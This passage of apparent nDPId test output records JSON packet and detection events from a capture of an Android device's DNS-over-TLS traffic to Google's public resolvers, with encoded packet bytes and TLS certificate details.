3YHw5XBW1+9IPzq88tSTj+WKJs15ATWPHPRFsSXyMFQZgstMB5d3dOB2ANmme6AIIj99uss4gAETjCCBEowggMyoAMCAQICDQHjtJqhjYqpgSVpULgwDQYJKoZIhvcNAQELBQAwTDEgMB4GA1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjIxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMTcwNjE1MDAwMDQyWhcNMjExMjE1MDAwMDQyWjBCMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMRMwEQYDVQQDEwpHVFMgQ0EgMU8xMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0BjPRdSLzdOc5EDvfrTdaSEbyc88jkx1uQ8xGYQ9njwp71ANEJNvBYCAnyqgvRJLAuE9n1gWJP4wnwt0d1WTHUv3TeGSghD2UawMw7IilA80a5gQSecLnYM53SDGHC3v0RhhZecjgyCoIxL\/0iR\/1C\/nRGpbTddQZrCvnkJjBfvgHMRjYa+fajP\/Ype9SNnTfBRn3HXcLmno+G14adC3EAW48THCOyT9GjN0+CPg7GsZihbG482kzQvbs6RZYDiIO60ducaMp1Mb\/LzZpKu83Txh15MVmO6BvY\/iZEcgQAZO16yX6LnAWRKhSSUj5O1wNCyltGN8+aM9g9HNbSSsBwIDAQABo4IBMzCCAS8wDgYDVR0PAQH\/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjASBgNVHRMBAf8ECDAGAQH\/AgEAMB0GA1UdDgQWBBSY0fhuEOvPm+xgnxiQG6DrfQn9KzAfBgNVHSMEGDAWgBSb4gdXZxwewGoG3lm0mi3f3BmGLjA1BggrBgEFBQcBAQQpMCcwJQYIKwYBBQUHMAGGGWh0dHA6Ly9vY3NwLnBraS5nb29nL2dzcjIwMgYDVR0fBCswKTAnoCWgI4YhaHR0cDovL2NybC5wa2kuZ29vZy9nc3IyL2dzcjIuY3JsMD8GA1UdIAQ4MDYwNAYGZ4EMAQICMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vcGtpLmdvb2cvcmVwb3NpdG9yeS8wDQYJKoZIhvcNAQELBQADggEBABqAPjZ5+\/MuqUY3fV5UFjWux04Imf690TRpJlJmBz0KuknLYvTxGo78EU9olkx0K9Nn3rKjqgWNhE1MIGUPpZbaDRb4bDvbbwQjiGs6bMFgvWifcY7uLVg0B\/DVVOmGWf17Xg0hlPWMyaj42PKtzA8a85qnqQQn+aPJsP8CeGthusc1K+hW+k\/DHAzttjy0S+rtzOE87NwNjNY+m8pCWIvMFiEXQLyi1mbv2sQVW82JqpsJJucy0g1uZyACWxCwkAmcDB+erdg76qH8bOgQXAhSGVEqcbuserXdFe0ryQgqLIq0piGrY\/\/XUklQ0Im3rfKv+1CuL+GVDfNGrZ2c9coWAwMBLAwAASgDAB0g4nmrM262XiykqlB2xZzqc4FfMkSM5xnUvsKMyRbrTFQIBAEAc9yvpTXoneegkGptgrdLO8zLJfwWP3QvPGg="} +01118{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":16,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":7,"flow_first_seen":1592552825913,"flow_last_seen":1592552825957,"flow_tot_l4_data_len":3230,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":461,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48044,"dst_port":853,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.google","server_names":"dns.google,*.dns.google.com,8888.google,dns.google.com,dns64.dns.google","ja3":"2c776785ee603cc85d37df996bb90cc8","ja3s":"b44baa8a20901c5663b3a9664ba8a767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Google Trust Services, CN=GTS CA 1O1","issuerDN":"C=US, ST=California, L=Mountain View, O=Google LLC, CN=dns.google","fingerprint":"5B:59:09:FC:7D:50:E6:F7:D1:08:8E:57:42:A2:D8:AE:1F:03:FF:EC"}} +00767{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":958075,"pkt_caplen":305,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":305,"pkt_l4_len":271,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAEjq30AAHgGyAQICAQEwKgBnwNVu6wOvAwfE7F5PIAYAPCBTwAAAQEICn9fgzP\/\/8zFWkXoaRZWKwjLSUJGN3CmDF5dRNLykDwG7pTkFkLN7gp\/102O6AmwwdVceRHgogGvAykqYxKCmAi77yZ4Ft3DRhWHkP57qZJu3+2PxOP2VPziPKgJ+WulpnZmEM\/6aXA72fn15Q\/r0IUSLwpglfA2aaOTek0bfdKz6On4IdcjxIKFGo635zNHz4MngRG9urLcfGYnSr8Qi7SwcOcGknBFO7H52eKxKLwygtnmepN8U5+eUSHT3eUeqARJbDeeVVg43xpyB\/9thjuefxarX+24DRIRgWkhS4nZrfqe\/D18PQYU\/eyjmTwWAwMABA4AAAA="} +02349{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":959083,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAW+xeoAAHYGpvgICAgIwKgBnwNV2tjD\/e2gl7AFW4AQAPBNlQAAAQEICmQNymX\/\/8zFFgMDAD8CAAA7AwNe7G15+krGjyXGxyOdK20AGJ3di6M5uQtET1dOR1JEAQDALwAAEwAXAAD\/AQABAAALAAIBAAAjAAAWAwMKgAsACnwACnkABiUwggYhMIIFCaADAgECAhAvmt6tSZ\/54QIAAAAAayAjMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMR4wHAYDVQQKExVHb29nbGUgVHJ1c3QgU2VydmljZXMxEzARBgNVBAMTCkdUUyBDQSAxTzEwHhcNMjAwNTI2MTUyMDAyWhcNMjAwODE4MTUyMDAyWjBkMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzETMBEGA1UEChMKR29vZ2xlIExMQzETMBEGA1UEAxMKZG5zLmdvb2dsZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOSUeQONctZz3uIqdtC8TGzE8AMaYsmZY88YVzUreJdL\/0dCZYsl1UYc2OvENRHpKfNCZpRv3xMOZvi3kh0QIb5zzddzOkkBUd2hU7s3ZwZK+HaanofZZUCn6DHRVW+tAvbhDsfNhYq7nC6j\/GNW5VGjRotNORp5ATy1MpfZF93XgmaHNixqtpC\/0gM5Gwth6D+1fVJsvBEgZyIPBayP3lOd1yAvzdIkSpwWaZ+TKW+85OK4yyy7S2o1vCDDK3Zq6\/jUumhBP5SJmDA5tr4dukkEoqVyhPnxGcB4hDmwyVDU2U8rmqCGQULfKb12DBmiiJOYbm5pqVj1JBv0+p3j1E0CAwEAAaOCAu8wggLrMA4GA1UdDwEB\/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSFRNGvRXRy0wAb7J2sKkmYhLWe3zAfBgNVHSMEGDAWgBSY0fhuEOvPm+xgnxiQG6DrfQn9KzBoBggrBgEFBQcBAQRcMFowKwYIKwYBBQUHMAGGH2h0dHA6Ly9vY3NwLnBraS5nb29nL2d0czFvMWNvcmUwKwYIKwYBBQUHMAKGH2h0dHA6Ly9wa2kuZ29vZy9nc3IyL0dUUzFPMS5jcnQwgawGA1UdEQSBpDCBoYIKZG5zLmdvb2dsZYIQKi5kbnMuZ29vZ2xlLmNvbYILODg4OC5nb29nbGWCDmRucy5nb29nbGUuY29tghBkbnM2NC5kbnMuZ29vZ2xlhxAgAUhgSGAAAAAAAAAAAABkhxAgAUhgSGAAAAAAAAAAAGRkhxAgAUhgSGAAAAAAAAAAAIhEhxAgAUhgSGAAAAAAAAAAAIiIhwQICAQEhwQICAgIMCEGA1UdIAQaMBgwCAYGZ4EMAQICMAwGCisGAQQB1nkCBQMwMwYDVR0fBCwwKjAooCagJIYiaHR0cDovL2NybC5wa2kuZ29vZy9HVFMxTzFjb3JlLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB2AAe3XBvlfWj\/8bDGHSMVx7rmV3xXlLdq7rxhOhpp06IcAAABclHIpS8AAAQDAEcwRQIhAL8PRht0GjLwxvKgvt3ME7Lvn501gSRHUbzJgY3HddfrAiBITPBWXKB\/EsGN\/qthElwjtyifjXyQCtZL82ZOsBNAqgB1AF6nc\/nfVsDntTZIfdBJ4DJ6kZoMhKESEoQYdZaBcUVYAAABclHIo2oAAAQDAEYwRAIgW3oiEOXHmxVJukyPKedbFKLAHU+NWNHGdGVRZy3Vv9QCIBZ565g8plNNkx9OSGvGcmllJquFv0Vpmmf0ZrIkVQCpMA0GCSqGSIb3DQEBCwUAA4IBAQBP8NFNA2o7BvU4C0BZ\/YuA2G4="} +00816{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":18,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":6,"flow_first_seen":1592552825913,"flow_last_seen":1592552825959,"flow_tot_l4_data_len":1780,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":296,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.8.8","src_port":56024,"dst_port":853,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.google","ja3":"2c776785ee603cc85d37df996bb90cc8","ja3s":"b44baa8a20901c5663b3a9664ba8a767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02356{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":960222,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAW+xesAAHYGpvcICAgIwKgBnwNV2tjD\/fMql7AFW4AQAPCIOwAAAQEICmQNymX\/\/8zFBWU\/U1SwWFqB51XKOk\/9gYc9EfnV8DMmwcygUgaToHLYUMwUZiFSJ1LqRJEm3oknKcmGpn6E+8rpojBhPvTewD8kzc3KtWn0xIyDeDz+Z1J8g\/uv+o2If+iKyGWYGf4RT\/KFSb\/lYkCgp373jBd81x2dBToH41zJgQMiTcRji8A4I0eyWkRpuReYMwBKatDuD2J7yUI9b+O06es4KhBC9a+DKwwGcm20clrv8FMBPBA3oxgf2d7Tp3YHw5XBW1+9IPzq88tSTj+WKJs15ATWPHPRFsSXyMFQZgstMB5d3dOB2ANmme6AIIj99uss4gAETjCCBEowggMyoAMCAQICDQHjtJqhjYqpgSVpULgwDQYJKoZIhvcNAQELBQAwTDEgMB4GA1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjIxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMTcwNjE1MDAwMDQyWhcNMjExMjE1MDAwMDQyWjBCMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMRMwEQYDVQQDEwpHVFMgQ0EgMU8xMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0BjPRdSLzdOc5EDvfrTdaSEbyc88jkx1uQ8xGYQ9njwp71ANEJNvBYCAnyqgvRJLAuE9n1gWJP4wnwt0d1WTHUv3TeGSghD2UawMw7IilA80a5gQSecLnYM53SDGHC3v0RhhZecjgyCoIxL\/0iR\/1C\/nRGpbTddQZrCvnkJjBfvgHMRjYa+fajP\/Ype9SNnTfBRn3HXcLmno+G14adC3EAW48THCOyT9GjN0+CPg7GsZihbG482kzQvbs6RZYDiIO60ducaMp1Mb\/LzZpKu83Txh15MVmO6BvY\/iZEcgQAZO16yX6LnAWRKhSSUj5O1wNCyltGN8+aM9g9HNbSSsBwIDAQABo4IBMzCCAS8wDgYDVR0PAQH\/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjASBgNVHRMBAf8ECDAGAQH\/AgEAMB0GA1UdDgQWBBSY0fhuEOvPm+xgnxiQG6DrfQn9KzAfBgNVHSMEGDAWgBSb4gdXZxwewGoG3lm0mi3f3BmGLjA1BggrBgEFBQcBAQQpMCcwJQYIKwYBBQUHMAGGGWh0dHA6Ly9vY3NwLnBraS5nb29nL2dzcjIwMgYDVR0fBCswKTAnoCWgI4YhaHR0cDovL2NybC5wa2kuZ29vZy9nc3IyL2dzcjIuY3JsMD8GA1UdIAQ4MDYwNAYGZ4EMAQICMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vcGtpLmdvb2cvcmVwb3NpdG9yeS8wDQYJKoZIhvcNAQELBQADggEBABqAPjZ5+\/MuqUY3fV5UFjWux04Imf690TRpJlJmBz0KuknLYvTxGo78EU9olkx0K9Nn3rKjqgWNhE1MIGUPpZbaDRb4bDvbbwQjiGs6bMFgvWifcY7uLVg0B\/DVVOmGWf17Xg0hlPWMyaj42PKtzA8a85qnqQQn+aPJsP8CeGthusc1K+hW+k\/DHAzttjy0S+rtzOE87NwNjNY+m8pCWIvMFiEXQLyi1mbv2sQVW82JqpsJJucy0g1uZyACWxCwkAmcDB+erdg76qH8bOgQXAhSGVEqcbuserXdFe0ryQgqLIq0piGrY\/\/XUklQ0Im3rfKv+1CuL+GVDfNGrZ2c9coWAwMBLAwAASgDAB0gz7rMJbgrJvLNELNJ4ltNigCj+UX2TiWQMThYrp6byhkIBAEAqwkJBMouQT82rL\/jSgisqQw4wiLt1+Xmi+E="} +01118{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":19,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":7,"flow_first_seen":1592552825913,"flow_last_seen":1592552825960,"flow_tot_l4_data_len":3230,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":461,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.8.8","src_port":56024,"dst_port":853,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.google","server_names":"dns.google,*.dns.google.com,8888.google,dns.google.com,dns64.dns.google","ja3":"2c776785ee603cc85d37df996bb90cc8","ja3s":"b44baa8a20901c5663b3a9664ba8a767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Google Trust Services, CN=GTS CA 1O1","issuerDN":"C=US, ST=California, L=Mountain View, O=Google LLC, CN=dns.google","fingerprint":"5B:59:09:FC:7D:50:E6:F7:D1:08:8E:57:42:A2:D8:AE:1F:03:FF:EC"}} +00769{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":960306,"pkt_caplen":305,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":305,"pkt_l4_len":271,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAEjxewAAHYGq5EICAgIwKgBnwNV2tjD\/fi0l7AFW4AYAPBBaAAAAQEICmQNymX\/\/8zFxYLVsh0XBPBon\/dZK5fwP0f+D6HQBgodlevFaX40Qojl6fN5kYFp\/IMamekDmny2Tg+MQYdHS+NKqsqN9JkaZdY57lJcoOtbiFZlorHig6Gur0c3O64+IY9\/yzForraiSJSH05G8FeV1u2pdTO3ohu1K2vcU4NSoV1T7GxWd4M4gz8nhxQnJzW1EK3wgWliMbyOJPXeTKIRwsf\/8siihdwQBVxH+fTy1LIc3v4onjL8JdSGFTqyv1emQ12oetaF0Y5mfXrLSAFsT4A5mNd1\/wWJpF9CmCjcQ20MzmMAtWB0t\/3WTT\/MWAwMABA4AAAA="} +00439{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":963546,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA0tGNAAEAGuA3AqAGfCAgEBLusA1UTsXk8DrwGlYAQAWJ2ZwAAAQEICv\/\/zM1\/X4Mz"} +00440{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":963743,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA0tGRAAEAGuAzAqAGfCAgEBLusA1UTsXk8DrwMH4AQAW1w0gAAAQEICv\/\/zM1\/X4Mz"} +00440{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":963819,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA0tGVAAEAGuAvAqAGfCAgEBLusA1UTsXk8DrwNDoAQAW1v4wAAAQEICv\/\/zM1\/X4Mz"} +00439{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":963893,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA0yARAAEAGoGjAqAGfCAgICNrYA1WXsAVbw\/3zKoAQAWJ1YQAAAQEICv\/\/zM1kDcpl"} +00440{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":963966,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA0yAVAAEAGoGfAqAGfCAgICNrYA1WXsAVbw\/34tIAQAW1vywAAAQEICv\/\/zM5kDcpl"} +00440{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":964071,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA0yAZAAEAGoGbAqAGfCAgICNrYA1WXsAVbw\/35o4AQAW1u3AAAAQEICv\/\/zM5kDcpl"} +00567{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":966672,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2ag\/ahpuQCABFAACRyAdAAEAGoAjAqAGfCAgICNrYA1WXsAVbw\/35o4AYAW2IqwAAAQEICv\/\/zM9kDcplFgMDACUQAAAhILeCNg8jv6jCikgxhfkU3HgT7WoBqRBJXMyl0pUWnAEeFAMDAAEBFgMDACgAAAAAAAAAAJhbzSCk2Tht0cc+LCBCU1nYBazVcI2EU09kNu20VVUE"} +00569{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":970235,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2ag\/ahpuQCABFAACRtGZAAEAGt63AqAGfCAgEBLusA1UTsXk8DrwNDoAYAW3cwQAAAQEICv\/\/zNB\/X4MzFgMDACUQAAAhIB1NzO65iF1RgzRYUOGwikF2wXKLNJOXWHai+wX\/XmACFAMDAAEBFgMDACgAAAAAAAAAADMYmv1ve8+roAea\/hOyzz8x5G2VCxfbIwWd6P7onSbo"} +00842{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":980177,"pkt_caplen":358,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":358,"pkt_l4_len":324,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAFYxe8AAHYGq1kICAgIwKgBnwNV2tjD\/fmjl7AFuIAYAPCVwgAAAQEICmQNynr\/\/8zPFgMDAOwEAADoAAGJwADiARwM3mDSTy2KnFOJMzn7stUI3n9w6Bd7Bo1xVXy+0OXV\/lHT5lA9\/GbuMkzwugBBchLSxvyY0LEl5xIuCp83HBEhH+1MxqmtX4gW4cxNBmD4J7ZB6UV5zmoLDyYH8f06kQ0cbxh\/YLNXHSzVirvfugV3LQBlV+9Bpp0yZSzIkUJLf0qN9Qh8y28fYVh8wrxt\/44w864fkSANzJFhTx0c+Av9PV54L7qn8Ok7eTCjxTG+sTMMtH6DPnvMu7qKQQksevJ9p2LQGHlp\/QGUw6Cs0o62K\/KxYFfLCcXx3OH\/taS5FhQDAwABARYDAwAoAAAAAAAAAAAgilLoAsCqZ+bWS7HX8RV+x6hkiqdBDfE2k1d4jOgLPQ=="} +00840{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":982662,"pkt_caplen":358,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":358,"pkt_l4_len":324,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAFYq4MAAHgGx8kICAQEwKgBnwNVu6wOvA0OE7F5mYAYAPCNwQAAAQEICn9fg0z\/\/8zQFgMDAOwEAADoAAGJwADiARwM3mDSTy2KnFOJMzn7si\/DOnq1DGgu8OxQKIPD47uYPnO8xM2aeSK2T\/19bmxIkcfRP00II55x5yfpEv3\/ODq\/7O8EdsmMGI5zxavF7YdVwJUnDAN7hCO7OWFeviLfkGe\/D59YmVRYODja4O49f1v08EKrt6bow4V9ruahBKixKZpY2lFj7FB4DJ6rZKo1+sO8wC8wqe3xvifD7WiW0T1CEOENgeWWMxkeOeSVhfFNemB4dIS4B5xTAU6m1kQcUKSSPB90Glm7Ln3sg+MJf9zxMpTwpOve8EBmeSYyZQBrmRQDAwABARYDAwAoAAAAAAAAAAAt9na1d630FOWMHH\/zJ8SbQeTHoOlsN7C2LFPgeVAqNg=="} +00561{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":985074,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"EBMx8Tl2ag\/ahpuQCABFAACJtGdAAEAGt7TAqAGfCAgEBLusA1UTsXmZDrwOMoAYAXgenwAAAQEICv\/\/zNN\/X4NMFwMDAFAAAAAAAAAAAaI\/1br7qpFCm0iqQN3tCmfEr3xZlO4fCdyKXAN6C7IgYrco8oZs\/+q+UFTPzCFjUkqj0fkGIIXuDIE2GmNUAXJj63zvWrXMLw=="} +00560{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552825,"pkt_ts_usec":992866,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"EBMx8Tl2ag\/ahpuQCABFAACJyAhAAEAGoA\/AqAGfCAgICNrYA1WXsAW4w\/36x4AYAXhpDwAAAQEICv\/\/zNVkDcp6FwMDAFAAAAAAAAAAART8lEX6ZoAkVgX7dDGPPd7aOXVC56IOwlYrJPrXITEl0kw2smePPpFiQ0QHAmpKlI3Welu7CqTq2DaJ2VTWEoUuXYN80BTAqw=="} +00437{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":2622,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0q4wAAHgGyOQICAQEwKgBnwNVu6wOvA4yE7F57oAQAPBuVwAAAQEICn9fg2D\/\/8zT"} +00439{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":11360,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA0xg4AAHYGrF4ICAgIwKgBnwNV2tjD\/frHl7AGDYAQAPBtSAAAAQEICmQNypn\/\/8zV"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":42,"source":"googledns_android10.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1592552826036,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.159","dst_ip":"8.8.4.4","src_port":48048,"dst_port":853,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":36505,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"EBMx8Tl2ag\/ahpuQCABFAAA80uBAAEAGmYjAqAGfCAgEBLuwA1WtLB4AAAAAAKAC\/\/8imQAAAgQFtAQCCAr\/\/8zgAAAAAAEDAwg="} +00450{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"googledns_android10.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592552826,"pkt_ts_usec":49329,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ag\/ahpuQEBMx8Tl2CABFAAA8wHkAAHcGtO8ICAQEwKgBnwNVu7B94BEWrSweAaAS6yCziAAAAgQFZAQCCAq0eUC+\/\/\/M4AEDAwg="} 